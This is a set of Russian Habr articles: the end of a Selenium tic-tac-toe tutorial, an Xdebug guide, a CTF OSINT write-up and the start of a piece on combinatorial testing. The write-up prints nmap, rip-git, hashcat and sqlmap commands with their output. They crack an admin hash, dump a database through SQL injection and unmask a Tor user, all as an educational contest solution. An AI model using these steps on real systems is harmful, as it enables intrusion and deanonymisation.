А теперь самое интересное! Нам нужен метод, который позволит пользователю совершать ходы. В этом методе мы попросим игрока указать нам клетку, на котором он хотел бы поставить свой знак, и нам также необходимо обновить нашу внутреннюю Map.
Кроме того, поскольку мы играем против компьютера, он делает свой ход сразу после нашего, поэтому я добавила некоторое ожидание, чтобы дать компьютеру походить. Не заостряйтесь на этом моменте, это не тестовый код, который будет выполняться в нескольких средах как часть CI конвейера. Здесь можно немножко и подхалтурить.
```
public void play(Space space){
driver.findElement(space.getLocator()).click();
spaces.put(space, true);
try{ Thread.sleep(500); } catch(Exception e){}
}
```
Метод `play` отражает наш ход в нашей внутренней Map, но не учитывает ход компьютера. Так давайте же создадим метод для проверки браузера и обновления нашей Map, который будет точно отражать статус игрового поля.
Но сначала нам нужен локатор, чтобы получить все пустые клетки на поле.
```
private By emptySpacesSelector = By.xpath("//div[@class='board']/div/div[@class='']/..");
```
Затем мы используем Selenium, чтобы получить все эти пустые клетки, сохранить их в List (список), а затем пройтись по нашей внутренней Map, чтобы обновить все клетки, которые не отображаются в списке Selenium с пустыми клетками, чтобы они были помечены как занятые.
```
/**
* Updates Spaces map to be in sync with the game on the browser
*/
private void updateSpaceOccupancy(){
var emptyElements = driver.findElements(emptySpacesSelector)
.stream()
.map(e->e.getAttribute("class"))
.collect(Collectors.toList());
Arrays.stream(Space.values()).forEach(space -> {
if(!emptyElements.contains(space.getClassName())){
spaces.put(space, true);
}
});
}
```
Окей, нам нужен еще один метод для этого класса. Было бы неплохо иметь возможность предоставлять список свободных клеток, чтобы наш игрок знал, из чего можно выбирать. Этот метод в свою очередь вызовет метод, который мы только что создали, `updateSpaceOccupancy()`, затем отфильтрует нашу внутреннюю Map клеток и получит все незанятые.
```
public List getOpenSpaces(){
updateSpaceOccupancy();
return spaces.entrySet()
.stream()
.filter(occupied -> !occupied.getValue())
.map(space->space.getKey())
.collect(Collectors.toList());
}
```
#### 3. Создаем конструкцию, представляющую саму игру
Теперь давайте создадим класс, представляющий саму игру. Первое, что нужно сделать этому классу, — это настроить ChromeDriver и запустить игру. Мы также можем создать инстанс игрового поля.
```
public class Game {
private ChromeDriver driver;
private Board board;
public Game() {
System.setProperty("webdriver.chrome.driver", "resources/chromedriver");
driver = new ChromeDriver();
driver.get("https://playtictactoe.org/");
board = new Board(driver);
}
public Board getBoard(){
return board;
}
}
```
Мы хотели бы дать пользователю возможность определять, когда игра окончена. Это приложение отображает окно перезапуска игры по завершению партии, поэтому мы можем создать метод, который позволит нам это узнать, и наш собственный метод для перезапуска игры по желанию игрока. При перезапуске нужно не забыть сбросить игровое поле, чтобы все клетки снова были помечены как пустые.
```
private By restartIndicator = By.className("restart");
```
```
public boolean isOver(){
return driver.findElement(restartIndicator).isDisplayed();
}
public Board restart() {
driver.findElement(restartIndicator).click();
board = new Board(driver);
return board;
}
```
Затем нам нужно определить, выиграл игрок или проиграл. Т.е. я создала три метода. Один для получения результатов с веб-сайта, другой для предоставления пользователю возможности указать выигрышный счет (в случае, если они хотят играть, пока один из игроков не наберет определенное количество очков), и, наконец, третий для вывода результатов.
```
public boolean isThereAWinner(int winningScore){
updateScores();
return playerScore >= winningScore || computerScore >= winningScore;
}
/**
* Gets scores from the browser
*/
public void updateScores(){
var scores = driver.findElementsByClassName("score")
.stream()
.map(WebElement::getText)
.map(Integer::parseInt)
.collect(Collectors.toList());
playerScore = scores.get(0);
tieScore = scores.get(1);
computerScore = scores.get(2);
}
public void printResults(){
if(playerScore > computerScore){
System.out.println(format("Yayyy, you won! ? Score: %d:%d", playerScore, computerScore));
}
else if(computerScore > playerScore){
System.out.println(format("Awww, you lose. ? Score: %d:%d", computerScore, playerScore));
}
}
```
Наконец, мы добавим в этот класс метод завершения игры, который закрывает браузер и убивает поток.
```
public void end(){
printResults();
driver.quit();
System.exit(0);
}
```
#### 4. Создаем класс для выполнения игрового процесса
Теперь приступим к игре! Я создала еще один класс для выполнения игры от лица игрока. Первое, что мы здесь сделаем, это создадим инстанс новой игры и получим дескриптор игрового поля.
```
public class PlayGame {
public static void main(String args[]){
var game = new Game();
var board = game.getBoard();
}
}
```
Затем мы определяем, сколько партий мы хотим сыграть до определения победителя. В этом примере мы указываем, что тот, кто первым наберет 5 очков, является окончательным победителем. Мы хотим продолжать игру, пока не дойдем до этого момента, поэтому мы будем использовать цикл while для представления каждого раунда.
```
public static void main(String args[]){
var game = new Game();
var board = game.getBoard();
while(!game.isThereAWinner(5))
{
}
}
```
Внутри цикла нам нужен еще один цикл `while`, чтобы представить каждую игру в пределах одной партии.
```
while(!game.isThereAWinner(5))
{
while(!game.isOver())
{
}
}
```
Внутри этого внутреннего цикла мы будем играть на игровом поле. Значит нам нужно получить пустые клетки. Было бы неплохо написать алгоритм со стратегией выбора клетки, однако пока мы просто случайным образом выбираем одну из списка свободных клеток.
```
while(!game.isThereAWinner(5))
{
while(!game.isOver()) {
var spaces = board.getOpenSpaces();
board.play(spaces.get(new Random().nextInt(spaces.size())));
}
}
```
Затем после каждого раунда мы должны очищать поле, нажимая кнопку сброса. Это должно быть внутри внешнего цикла, вне области видимости внутреннего.
```
while(!game.isThereAWinner(5))
{
while(!game.isOver()) {
var spaces = board.getOpenSpaces();
board.play(spaces.get(new Random().nextInt(spaces.size())));
}
board = game.restart();
}
```
И наконец, мы заканчиваем игру! Это должно быть за пределами обоих циклов.
```
public static void main(String args[]){
var game = new Game();
var board = game.getBoard();
while(!game.isThereAWinner(5))
{
while(!game.isOver()) {
var spaces = board.getOpenSpaces();
board.play(spaces.get(new Random().nextInt(spaces.size())));
}
board = game.restart();
}
game.end();
}
```
Вуаля! Теперь у нас есть решение для автоматизации игры в крестики-нолики.
---
> *Узнать подробнее о курсе* [*"****Java QA Automation Engineer****"*](https://otus.pw/CJph/)*.
>
> Предлагаем также посмотреть запись demo-урока на тему тестирования API:* [***«HTTP. Postman, Newman, Fiddler (Charles), curl, SOAP. SoapUI».***](https://otus.pw/52Zo/)
>
> | https://habr.com/ru/post/548750/ | null | ru | null |
# Узнать и полюбить Xdebug
Вот уже 15 лет прошло со времен первого релиза Xdebug. Прекрасный повод вновь представить эту систему миру и объяснить как и почему она делает то что делает.
Xdebug — это расширение для PHP (должно быть скомпилировано и установлено в процессе установки PHP) которое представляет разработчику следующий функционал для отладки:
* Трассировки стека — вывод подробного пути, который привел приложение к полученной ошибке, включая параметры переданные в функции, в порядке позволяющем легко отследить ошибку
* Более приятный вывод var\_dump, создающий подсветку кода и структурированный вид вместе с дампом суперглобальных переменных, по аналогии с [VarDumper](https://www.sitepoint.com/var_dump-introducing-symfony-vardumper/).
* Профайлер для поиска узких мест кода с возможностью визуализированного представления графиков производительности внешними инструментами. В результате получается график похожий на графики из [Blackfire](https://www.sitepoint.com/an-in-depth-walkthrough-of-supercharging-apps-with-blackfire/).
* Удаленный отладчик, который может быть использован при соединении с Xdebug для запуска и выполнения кода в IDE или браузере построчно через брейк-пойнты.
* “Покрытие кода” которое показывает какая часть кода была выполнена в процессе запроса. Это функция нужна по большей части для юнит-тестов и получения информации о том насколько хорошо ваш код покрыт тестами.
### Как мне использовать его?
Xdebug поставляется с подробной инструкцией по установке в которой учтены практически все возможные варианты использования, хотя, если вы хотите поэкспериментировать с представленным ниже функционалом, мы рекомендуем использовать [Homestead Improved](http://www.sitepoint.com/quick-tip-get-homestead-vagrant-vm-running/) так как там Xdebug установлен и активирован по умолчанию.
### Зачем вообще нужен Xdebug когда есть современные IDE и Blackfire?
Современные IDE предоставляют широкие возможности поиска по коду, так что полезность функционала [форматирования ссылок](https://xdebug.org/docs/all_settings#file_link_format) кажется сомнительной. Существуют всевозможные системы логирования способные обрабатывать ошибки и исключения. Также, трассировка и профилирование функций прекрасно реализованы в Blackfire. Не смотря на все это, форматирование ссылок на файлы лишь одна из функций Xdebug, а использование Blackfire связано с собственными трудностями — установка расширения, настройка горячих клавиш, и оплата сохранения истории трассировок. А использование логгеров требует внимательности, так как добавить их в приложение на поздних этапах не самая простая задача.
Но область использования Xdebug не ограничивается лишь этим. Он всё ещё необходим для правильного модульного тестирования (тестируемые фреймворки зависимы от его отчетов о покрытии кода), далеко не так легко провести отладку через удаленные брейк-пойнты другими средствами, а этот инструмент настолько старый и стабильный, что был отшлифован почти до идеала.
Конечно, нет никакой необходимости использовать Xdebug, если ваш текущий инструментарий может обеспечить всё что он предоставляет, или если вам не нужны его возможности, однако у меня не было еще ни одного проекта который можно было бы завершить так же эффективно без его использования.
### Давайте попробуем
Предполагается что на этом этапе у вас уже есть среда с работающим Xdebug. Если нет, попробуйте воспользоваться [Homestead Improved](http://www.sitepoint.com/quick-tip-get-homestead-vagrant-vm-running/).
Давайте создадим новый проект состоящий из одного файла index.php и выведем несуществующую переменную $foo:
```
php
echo $foo;</code
```
Вот что мы получим:
### Отключение Xdebug
Блоки уведомлений подобные этому настолько привычное явление в наше время, что большинство людей даже не понимает что они уже стилизованы с помощью Xdebug. Чтобы доказать это давайте посмотрим как бы это сообщение выглядело без Xdebug. Для отключения Xdebug отредактируем файл /etc/php/7.1/fpm/conf.d/20-xdebug.ini в [Homestead Improved](http://www.sitepoint.com/quick-tip-get-homestead-vagrant-vm-running/), и закомментируем первую строку:
```
;zend_extension=xdebug.so
xdebug.remote_enable = 1
xdebug.remote_connect_back = 1
xdebug.remote_port = 9000
xdebug.max_nesting_level = 512
```
После чего нужно перезапустить PHP-FRM:
```
sudo service php7.1-fpm restart
```
***Примечание:** если вы используете среду разработки с другой версией PHP, файл настроек вашего Xdebug скорее всего будет в другом месте. Сверьтесь с документацией системы чтобы найти его или задайте вопрос в комментариях.*
Выглядит довольно скудно, не так ли? Из вывода пропал весь стек вызовов. Конечно, пока эта информация не слишком полезна, так как мы работаем только с одной строкой в единственном файле, но позже мы будем использовать ее довольно часто.
Теперь вновь активируем Xdebug, раскомментировав строку в отредактированном ранее файле, и продолжим. Не забудьте перезапустить PHP!
### Переходы по файлам
Если у вас есть любимая IDE (у меня, например, PhpStorm), возможность переходить к файлам в ней простым кликом в трассировке стека была бы определенно полезной и значительно увеличила бы скорость отладки. Я продемонстрирую как реализовать эту возможность для PhpStorm.
Давайте снова откроем файл 20-xdebug.ini и добавим в него следующее:
```
xdebug.file_link_format = phpstorm://open?%f:%l
```
Заметьте, что не во всех браузерах это будет работать. Например, у Opera возникнут проблемы со ссылкой phpstorm:// и она радостно упадет, в то время как Firefox и Chrome прекрасно обрабатывают такие ссылки.
Если теперь обновить нашу PHP страницу с ошибкой, мы получим ссылки открывающие IDE сразу в точном местоположении ошибки:
Настройка для работы с другими IDE и редакторами происходит точно так же.
### Xdebug, Vagrant и PhpStorm
Зачем останавливаться на этом? Многие сегодня используют для разработки [виртуальные машины](http://www.sitepoint.com/re-introducing-vagrant-right-way-start-php/), позволяющие быть уверенным в том что никакая часть из среды исполнения PHP не затронет основную машину, при этом сохраняя всё быстрым и гладким. Как ведет себя Xdebug в таких случаях? Кроме того, возможно ли, в принципе, выполнять отладку с брейк-поинтами, когда вы проходите по своему коду и проверяете каждую строку отдельно?
К счастью, Xdebug отлично поддерживает использование брейк-пойнтов при удаленном соединении. Мы рассмотрели этот процесс выше, а полностью иллюстрированное руководство по настройке вы можете найти в [этой статье](https://www.sitepoint.com/install-xdebug-phpstorm-vagrant/).
### Использование профайлера.
В конце давайте рассмотрим одну из часто игнорируемых функций: профайлер. Для этого нам понадобится какое-нибудь крупное приложение, например Laravel:
```
composer create-project --prefer-dist laravel/laravel xdebug
```
И снова нам нужно внести правки в файл 20-xdebug.ini, добавив следующее:
```
xdebug.profiler_enable_trigger = 1
xdebug.profiler_output_dir = /home/vagrant/Code/
```
Заметьте — мы не используем xdebug.profiler\_enable = 1, так как не хотим чтобы он оставался включенным всё время. Вместо этого мы используем триггерный параметр в запросе “XDEBUG\_PROFILE” для выборочной активации. Также мы выводим профиль кэша в основную общую папку нашей виртуальной машины, получая возможность работать с ним в операционной системе хоста.
После перезапуска PHP мы можем проверить это выполнив homestead.app/?XDEBUG\_PROFILE (замените homestead.app на имя выбранного вами виртуального хоста или IP-адрес виртуальной машины). Конечно же, файл там где и ожидалось:
В каждой операционной системе есть собственный инспектор кэширования, для OS X, например, можно использовать qcachegring, который легко устанавливается через Homebrew. После установки…
```
brew install qcachegrind --with-graphviz
```
… и открытия файла, мы видим удобное разбиение потока выполнения:
Профайлер предоставляет детализированный доступ ко многим данным и возможность досконально изучить поведение вашего кода, также как и в Blackfire. Однако с локальным выводом профайлера намного легче автоматизировать непрерывное отслеживание производительности и сложности выполнения.
### Принудительное отображение Xdebug в Laravel
По умолчанию, Laravel имеет собственные отчеты об ошибках и настройки рендеринга. Ошибка, вроде той что мы вызвали ранее с неопределенной переменной, в Laravel будет выглядеть так:
```
php
use Illuminate\Http\Request;
Route::get('/', function(Request $request){
echo $foo;
return view('welcome');
});</code
```
Хотя экран ошибок Symfony (который Laravel использует в этом случае) способен так же хорошо работать с переходами Xdebug (попробуйте! Вы можете кликнуть по этим файлам и их строкам!), мне очень не хватает вывода информации о памяти (Xdebug по умолчанию выводит отчет об использовании памяти в каждый момент времени в трассировке). Давайте вернемся к экрану Xdebug в режиме разработки, чтобы отследить этот параметр.
```
php
use Illuminate\Http\Request;
Route::get('/', function(Request $request){
ini_set('display_errors', 1);
restore_error_handler();
echo $foo;
return view('welcome');
});</code
```
Как видите мы обновили наш роутинг по умолчанию таким образом, чтобы сначала он активировал отображение ошибок (экран который мы видели ранее не показывает ошибки сразу при появлении, а сохраняет в стек исключений который был позже извлечен и визуализирован), затем мы возвращаем обработчик ошибок в его значение по умолчанию переопределяя значение Laravel.
После обновления, конечно же, вернулся наш старый экран — просто взгляните на эту простыню трассировки стэка и потребления памяти.
Я советую вам продолжить дальнейшее изучение самостоятельно — просмотрите документацию, поиграйте с настройками, выясните сколько всего вы можете узнать о ваших приложениях.
### Заключение
Xdebug — ценный инструмент в наборе любого разработчика. Это мощное расширение полностью соответствует своему названию, делая язык, с которым мы ежедневно работаем, более подробным, дружелюбным и менее загадочным при возникновении ошибок.
За 15 лет своего существования Xdebug установил высокие стандарты для отладочных средств. Я хотел бы [поблагодарить Дерика](https://flattr.com/thing/565889) за разработку и поддержку всё это время, и буду рад если вы решите написать одно-два руководства об углубленном использовании, подводных камнях или скрытых комбинациях функций о которых никто не задумывался прежде. Давайте поможем его распространению и развитию и в следующие 15 лет.
С днём рождения, Xdebug! | https://habr.com/ru/post/328094/ | null | ru | null |
# CTFzone write-ups — Grand Finale
Друзья, настало время раскрыть последнюю тайну **CTFzone**. Мы готовы опубликовать райтап на одно из самых сложных заданий соревнований – **OSINT** на 1000 очков. Как и в случае с [Reverse 1000](https://habrahabr.ru/company/bizone/blog/316582/), мы решили вынести последнее задание ветки в отдельный пост ввиду большого размера и сложности.
Решения на таски попроще мы публиковали ранее, и теперь пришло время финального аккорда. Мы постарались сделать наш заключительный райтап максимально подробным, поэтому статья получилась длинной и интересной. Все готовы? ;)
### OSINT\_1000: Polish businessman
> ***A.U.R.O.R.A.:** Lieutenant, it's time for another memoir. Are you ready? This part of Scott's diary is about Captain Picard and his brother.
>
> Scott's memoirs. April 19, 2047.
>
> "Is it just a joke or true blackmail?! Captain has just called me and said that his brother – very rich businessman Wilczek — has found a USB drive on his table this morning which contains very dangerous extortion and threats. He doesn't want anyone in the department to know what is happening as there is some dirt on this USB and the crook has more. He wants me to do the impossible and to find a blackmailer but it’s my only chance to come back to Earth".
>
> Well, I assume Lieutenant Scott succeeded as you are on his place. But how did he manage to do it?.*
#### Решение:
Пришло время последнего эпизода воспоминаний Скотта. На этот раз мы имеем дело с корпоративным шантажом. Богатому польскому бизнесмену была подброшена флешка, на которой содержится очень опасная для него информация. Наша задача — найти шантажиста. Но если раньше все было вполне реально, то на этот раз задача выглядит невыполнимой...
Нам был предоставлен образ флешки, в котором хранился odt-документ:
В документе всего две страницы, первая содержит письмо господину бизнесмену:
Вторая страница содержит часть переписки из почты этого бизнесмена и скан документа с пополнениями счета. Суммы, конечно, внушительные:
Чист данный человек или не совсем, судить не нам (а если и нам, то про себя). Наша задача — найти того, кто организовал шантаж. Ну что ж, приступим.
Все, что у нас есть — это образ с документом, в котором содержатся имя и название фирмы, а так же почта жертвы. По доменному имени даже можно найти какую-то информацию в сети. Но, как заметили участники, решавшие это задание: "Да сразу понятно, что это просто вода".
Поиск по имени тоже ничего примечательного нам не дает… Попробуем изучить документ, в частности его метаданные. Каждый хоть раз находил там что-то нужное.
К сожалению, в этот раз в метаданных документа нет никакой полезной информацией, поэтому попробуем изучить структуру документа. Мы знаем, что odt-файл, как и .doc(x), и .apk, и многие другие файлы, представляет собой обычный ZIP, но тем не менее имеет четкую структуру.
Распакуем этот файл, скопировав его с расширением `.zip`:
Изучение структуры документа обычно начинают с файла `meta.xml`, в котором содержатся общие сведения о документе. Кажется, тут что-то есть:
Мы находим новое имя: `"kasperkowalkiewicz".` Отлично, есть зацепка! Продолжаем поиски, опираясь на нее. Следует заметить, что многие участники думали, что это и есть конец задания. Тут можно было вспомнить, что это самое сложное задание в ветке OSINT, и не останавливаться на достигнутом ;)
Где бы мы ни смотрели, поиск по имени ничего не дает. Единственное, в чем мы уверены — это в польском происхождении имени. Как говорилось в одной басне: *"Иной перемудрит, стараясь найти решение какой-то проблемы, а оно, оказывается, лежит на поверхности"*. Попробуем начать сначала.
Рассмотрим имеющийся у нас образ флешки. Изучив его, мы найдем название, данное пользователем при каких-то условиях (отсылка на это и будет хинтом для пользователей во время соревнования):
В поиске аббревиатуры помогает "Википедия". Похоже, мы нашли дальнеший путь действий:
Далее проведем поиск по имени на "гите":
Есть пользователь с таким именем! Посмотрим, что у него на странице и в репозиториях:
Мы узнали никнейм этого пользователя и нашли один [репозиторий](https://github.com/kask0v/ZNet), в котором ютится одинокий скрипт на bash'е. Изучив скрипт, мы понимаем, что это недописанный чекер сайта, который работает исключительно через TOR (согласно комментарию в начале скрипта). Внизу есть комментарий на польском, который просит разработчика дописать его как можно скорее. Самой примечательной является строка, которая получает статус-код доступности сайта. IP-адрес в ней представлен в hex-виде:
Попробуем узнать, какой IP-адрес у сервера, и посмотрим, чем он "светит" наружу:
```
root@localGhost-->~# nmap -Pn --open 0xB98FAD57
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:21 MSK
Nmap scan report for buono-restoran.ru (185.143.173.87)
Host is up (0.0077s latency).
Not shown: 995 closed ports, 4 filtered ports
PORT STATE SERVICE
8081/tcp open blackice-icecap
```
Мы видим, что hex преобразовался в читаемый IP-адрес. Этой информации нам недостаточно, смотрим дальше:
```
root@localGhost-->~# nmap -p- -Pn -A --open 185.143.173.87
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:23 MSK
Nmap scan report for buono-restoran.ru (185.143.173.87)
Host is up (0.012s latency).
Not shown: 65527 closed ports, 6 filtered ports
PORT STATE SERVICE VERSION
8081/tcp open http Apache httpd
| http-git:
| 185.143.173.87:8081/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: first commit
|_http-server-header: Apache
|_http-title: May be later...
9501/tcp open ssh OpenSSH 7.2p2 (protocol 2.0)
| ssh-hostkey:
| 2048 5c:b8:8b:49:5c:8f:0a:0d:ce:b4:27:ea:22:e6:42:c6 (RSA)
|_ 256 d8:2d:bc:d0:f4:76:f9:0b:fe:4e:a4:f4:93:95:90:c8 (ECDSA)
Device type: general purpose
```
Неплохо, на нестандартном порту висит Апач, плюс есть git-папка с какими-то исходниками. Будем разбираться. Переходим на сайт:
Сайт находится в разработке. Поиск по директориям дал следующие пути: `admin`, `404`, `.git`. Становится интересно. Попробуем посмотреть, что за исходники в гите. Для этого нам нужна утилита `rip-git` из пакета `dvcs-ripper`:
```
root@localGhost-->~/gear/dvcs-ripper# rip-git.pl -u http://185.143.173.87:8081/.git
[i] Using session name: REAqxQuB
Проверка каталогов объектов: 100% (256/256), готово.
```
Скорее всего, исходники у нас уже есть. Проверим содержимое выкачанных файлов:
```
root@localGhost-->~/gear/dvcs-ripper# ls -d */
404/ admin/
root@localGhost-->~/gear/dvcs-ripper# tree 404/ admin/
404/
├── app.css
├── fonts.css
└── notfound.gif
admin/
├── config.php
├── functions.php
├── index.php
├── login.php
└── style
├── bootstrap.min.css
├── bootstrap.min.js
├── jquery.min.js
└── style.css
```
Опа! В папке `admin` есть интересные файлы, попробуем поискать в них подсказку. Файл `login.php` содержит важную информацию:
Логин мы получили, но наш пароль пока в хешированном виде, да еще и с "солью". Логин формы на сайте нет, но из исходников мы понимаем, что логиниться можно посредством запроса. Попробуем побрутить пароль через `hashcat` и начнем с простых словарей. Формат хеш-файла задаваемого hashcat'у будет в виде: "ХЕШ: СОЛЬ", `md5($pass.$salt)` формат в `hashcat`. Создаем файл, содержащий хеш с "солью", и запускаем брут:
```
root@localGhost-->~/tmp# echo "58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9" > salted.hsh
root@localGhost-->~/tmp# hashcat -m 10 -a 3 salted.hsh /tmp/10k_most_common.txt
...
58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9:qweqwe
Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: Mask (qweqwe) [6] (30.06%)
Hash.Target....: 58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I...
Hash.Type......: md5($pass.$salt)
Time.Started...: 0 secs
Speed.Dev.#1...: 0 H/s (0.00ms)
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 1/1 (100.00%)
Rejected.......: 0/1 (0.00%)
```
А вот и словарный пароль: `"qweqwe"` — удача снова на нашей стороне! Пробуем залогиниться через адресную строку, формат запроса простой:
Бинго! Мы попали в некую админстративную панель, название совпадает с упоминаниями на гитхабе: `"ZNet"`. Однако пока все не совсем понятно, какие-то боты, страны:
Пройдемся по записям в этой таблице:
Перейдя по первой записи, мы видим путь в строке браузера: `http://185.143.173.87:8081/admin/?bot_id=1053.` Параметр `"id"` всегда наталкивает на мысль об SQL-инъекции ;)
Начитавшись в гугле по теме "advanced sql injection techniques", демонстрируем свое превосходство:
Ковырять руками я это, конечно же, не буду, поэтому натравим `sqlmap`. Добавим куки в параметры и посмотрим, какие таблицы мы сможем получить:
```
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dbs --batch
[*] information_schema
[*] web
```
Нам интересна вторая база — `"web"`. Попробуем получить таблицы из базы:
```
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --tables -D web --batch
Database: web
[2 tables]
+--------------+
| admin_access |
| bots |
+--------------+
```
В таблице `"bots"` нет ничего полезного. Изучим ту, что имеет более примечательное название:
```
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --columns -D web -T admin_access --batch
Database: web
Table: admin_access
[3 columns]
+------------+------+
| Column | Type |
+------------+------+
| auth_time | text |
| user_agent | text |
| user_ip | text |
+------------+------+
```
В таблице `"user_agent"` среди множественного входа админа мы нашли 3 уникальных юзерагента, причем один из них явно юзерагент TOR-браузера:
Предположим, что пользователь заходил минимум с двух машин, ведь TOR-браузер может стоять на каждой из них (или даже с одной, т.к. подделать юзерагент не составляет труда. Он мог просто пользоваться двумя разными браузерами на одной машине). Нам необходимо получить информацию об IP-адресах, с которых выходил пользователь:
```
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dump -D web -T admin_access -C user_ip --batch
[36 entries]
+-----------------+
| user_ip |
+-----------------+
| 104.233.95.49 |
| 128.199.218.14 |
| 158.58.170.130 |
| 162.247.72.202 |
| 162.247.73.74 |
| 173.255.229.8 |
| 176.10.99.202 |
| 176.126.252.12 |
| 176.126.252.12 |
| 185.100.86.199 |
| 185.72.244.24 |
| 188.68.237.55 |
| 193.15.16.4 |
| 195.154.164.200 |
| 197.231.221.211 |
| 198.23.161.144 |
| 216.17.99.183 |
| 216.230.148.77 |
| 31.220.45.142 |
| 37.187.239.8 |
| 46.183.221.231 |
| 5.196.73.88 |
| 62.133.130.105 |
| 62.133.130.105 |
| 64.137.237.81 |
| 77.247.181.162 |
| 77.254.3.32 |
| 79.124.59.194 |
| 87.118.92.43 |
| 88.167.163.142 |
| 91.134.232.61 |
| 91.240.65.16 |
| 91.240.65.16 |
| 95.211.205.151 |
| 95.211.226.242 |
| 96.35.130.132 |
+-----------------+
```
Интересно, что заходов было очень много — 33 записи являются уникальными. Очевидно, причина повторения адресов кроется в том, что пользователь заходил на сайт повторно с разницей в несколько минут. Это наводит на определенные мысли. Берем первый по списку IP-адрес и пробуем поискать о нем информацию:
Как мы видим, это TOR-нода. Попробуем рандомный IP c другим юзерагентом и получим примерно тоже самое:
Досадно… Выходит, что трафик Каспера Ковалькевича всегда "торифицирован", и он нам ничего не даст. Тем не менее, на всякий случай проверим все IP-адреса.
Всем известно, что TOR ежеденевно публикует список своих выходных узлов. Список доступен по [этому адресу](https://check.torproject.org/exit-addresses). Он обновляется каждый день, так как одни ноды исчезают, а другие добавляются. Сформируем два файла — в один поместим список выходных нод, а во второй полученную нами базу адресов. Далее попытаемся найти адреса, которых нет в списке TOR'а, если таковые имеются. Можно попробовать написать скрипт для получения разницы, но намного быстрее будет воспользоваться bash'ем. Сначала посчитаем количество строк в двух файлах, а затем сравним:
```
root@localGhost-->/tmp/ips# wc -l *
36 kasper.lst
1166 tor.lst
1202 итого
root@localGhost-->/tmp/ips# comm -13 <(sort tor.lst) <(sort kasper.lst)
162.247.73.74
188.68.237.55
195.154.164.200
216.17.99.183
5.196.73.88
62.133.130.105
91.240.65.16
95.211.226.242
```
Разница совсем небольшая, можно проверить руками. Ищем в гугле: "наш\_IP tor". Из всех IP-адресов только `188.68.237.55` никакого отношения к TOR'у не имеет:
Посмотрим информацию об этом IP-адресе:
Похоже, этот адрес принадлежит тому самому Касперу Ковалькевичу. Посмотрим, что на нем есть. На машине висит Апач, главная страница выдает какую-то странную фразу:
Ищем информацию по строкам: "i hereby claim" и находим отсылку на keybase.io. [Keybase.io](https://keybase.io) — это всеобщий репозиторий открытых ключей, где все ключи соответствуют уникальным именам пользователей. Попробуем отыскать ключ нашего пользователя. Попробуем погуглить по именам, которые мы ранее находили на данном сервере, но это нам ничего не дает. Почитав поподробнее про хранение ключей, мы выясняем, что ключ может лежать в папке `".well-known".` Проверяем и этот вариант:
Ура! Здесь есть какой-то файл, ознакомимся с его содержимым:
Есть и другой, более простой способ нахождения этой папки. Можно было просто воспользоваться утилитой `Dirsearch`, в арсенале которой есть добротный словарь, в котором, в отличие от словарей аналогичных утилит, есть упоминание этой папки:
Переходим на страницу пользователя по ссылке `https://keybase.io/prepro`:
Изучаем страницу пользователя и видим на ней сокращение от знакомого нам имени. Читаем юзеринфо, из которого мы узнаем, где и кем работает наш пользователь. Теперь у нас есть информация о шантажисте, которую мы позже передадим заинтересованным людям.
Но это не все! Нас здесь ждет еще кое-что интересное — наш флаг: `"H0w_DiD_U_FinD_m3"`. Вот теперь это действительно конец задания ;)
**Ответ:** *ctfzone{H0w\_DiD\_U\_FinD\_m3}*
***P.S.:** задание включало в себя цепочку разного рода логичных действий, но без подсказок оно не решалось. Идея с именем в документе пришла после прочтения вот [этой статьи](http://www.blackhat.com/presentations/bh-europe-09/Alonso_Rando/Blackhat-Europe-09-Alonso-Rando-Fingerprinting-networks-metadata-whitepaper.pdf), где говорится о том, что при определенных условиях настроек и путей сохранения такое случается. Подсказка с названием образа флешки была необходима, т.к. без нее невозможно было понять дальнейший ход действий. Как у нас получилось дойти до конечной точки? Как мы помним, пользователь работал через TOR и, по идее, никаких следов не оставил. Однако один раз он все же забыл это сделать, но на практике такое редко случается. Данное задание решила только одна команда, и мы согласны с тем, что задание получилось действительно непростым для индивидуального CTF.*
Друзья, вот и все! Все райтапы опубликованы, все тайны CTFzone раскрыты, но это только начало. Мероприятие в рамках ZERONIGHTS 2016 – это первый шаг компании BI.ZONE в области организации CTF, и впереди вас ждут еще более масштабные и захватывающие соревнования. Мы ждем ваши предложения, комментарии и вопросы в [нашем чате](https://telegram.me/joinchat/Aj-l2UC2XdOvF_ogMsQE0w) в телеграме и в комментариях к постам. Оставайтесь с нами, и мы обещаем, дальше будет только круче ;)
Всем удачи и до новых встреч! | https://habr.com/ru/post/318652/ | null | ru | null |
# Комбинаторное тестирование: генерация тестовых данных и не только
 Хотя популярность buzzword «pairwise» уже не та, на собеседованиях до сих пор задают вопрос о том, что представляет собой эта техника тест-дизайна. Однако, далеко не все тестировщики (как те, кто приходят на собеседование, так и те, кто его проводят) могут четко сформулировать ответ на вопрос, *зачем* нужны комбинаторные техники в общем и pairwise в частности (подавляющее большинство ошибок, все же, находятся на атомарных значениях параметров и не зависят от других). Простой ответ на этот вопрос, на мой взгляд — для нахождения багов, возникающих вследствие явных и неявных зависимостей между параметрами. Для простых случаев техника вряд ли принесет серьезную пользу, поскольку их можно проверить вручную, а для большого числа параметров и сложных зависимостей между ними количество тестов, скорее всего, будет слишком велико для ручного тестирования. Потому основное применение комбинаторных техник (и соответственно, инструментов, осуществляющих генерацию комбинаций параметров) — автоматизированное составление наборов тестовых данных по определенным законам.
